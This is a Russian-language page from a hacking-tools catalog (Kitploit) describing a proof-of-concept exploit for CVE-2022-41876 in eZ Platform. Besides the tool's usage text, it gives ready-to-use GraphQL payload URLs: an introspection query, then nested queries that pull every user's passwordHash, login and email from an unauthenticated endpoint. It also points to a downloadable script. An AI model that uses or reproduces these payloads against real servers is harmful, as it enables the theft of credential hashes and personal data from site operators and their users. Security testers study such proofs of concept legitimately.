Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/skileau/cve-2022-41876
Анализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubskileau/cve-2022-41876

CVE-2022-41876

PoC для CVE-2022-41876

Репозиторий
7113 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
ibexa logo

Python3.9 current version
Twitter Skilo Twitter TahiTi

CVE-2022-41876 - Раскрытие информации о пользователях eZ Platform

В eZ Platform была обнаружена уязвимость, позволяющая неаутентифицированному пользователю получить хэш пароля каждого участника. Этот PoC перечисляет все возможные пути GraphQL, ведущие к объекту 'User', а затем запрашивает эти пути для получения конфиденциальной информации пользователей.

Использование

root@kitploit:~
python3 cve-2022-41876.py -h
root@kitploit:~
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url

CVE-2022-41876 POC

positional arguments:
  url                   Target URL (specify the graphql endpoint)

optional arguments:
  -h, --help            show this help message and exit
  -t, --thread          Number of threads
  -f FILE, --file FILE  Local path to introspect file

Результаты

image

Как это работает?

Ниже приведены шаги, которые выполняет этот инструмент для эксплуатации CVE:

Получение файла introspect

Первый шаг для эксплуатации этой CVE — получить файл introspect.json. Один из способов его получения — отправить запрос к GraphQL endpoint сервера со следующим пэйлоадом:

root@kitploit:~
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}

Поиск путей к объектам User

Затем полученный от сервера JSON можно использовать для извлечения всех путей к объектам 'User' с помощью инструмента graphql-enum-path следующим образом:

image

Запрос найденных путей для получения данных пользователей

Наконец, когда все пути найдены, необходимо сформировать специальный пэйлоад следующим образом и отправить его на сервер:

root@kitploit:~
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}

Где элементы соответствуют тексту между скобками в результате graphql-enum-path (обратите внимание, что запрос должен выполняться для каждого пути).

Итак, с приведённым выше примером graphql-enum-path первый пэйлоад будет таким:

root@kitploit:~
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}

Если сервер уязвим к этой CVE, он ответит на этот запрос JSON-файлом, содержащим данные пользователей.

Ссылки

Hacktricks

graphql-enum-path

Авторы

Этот PoC был создан @Skilo и @TahiTi

Скачать инструмент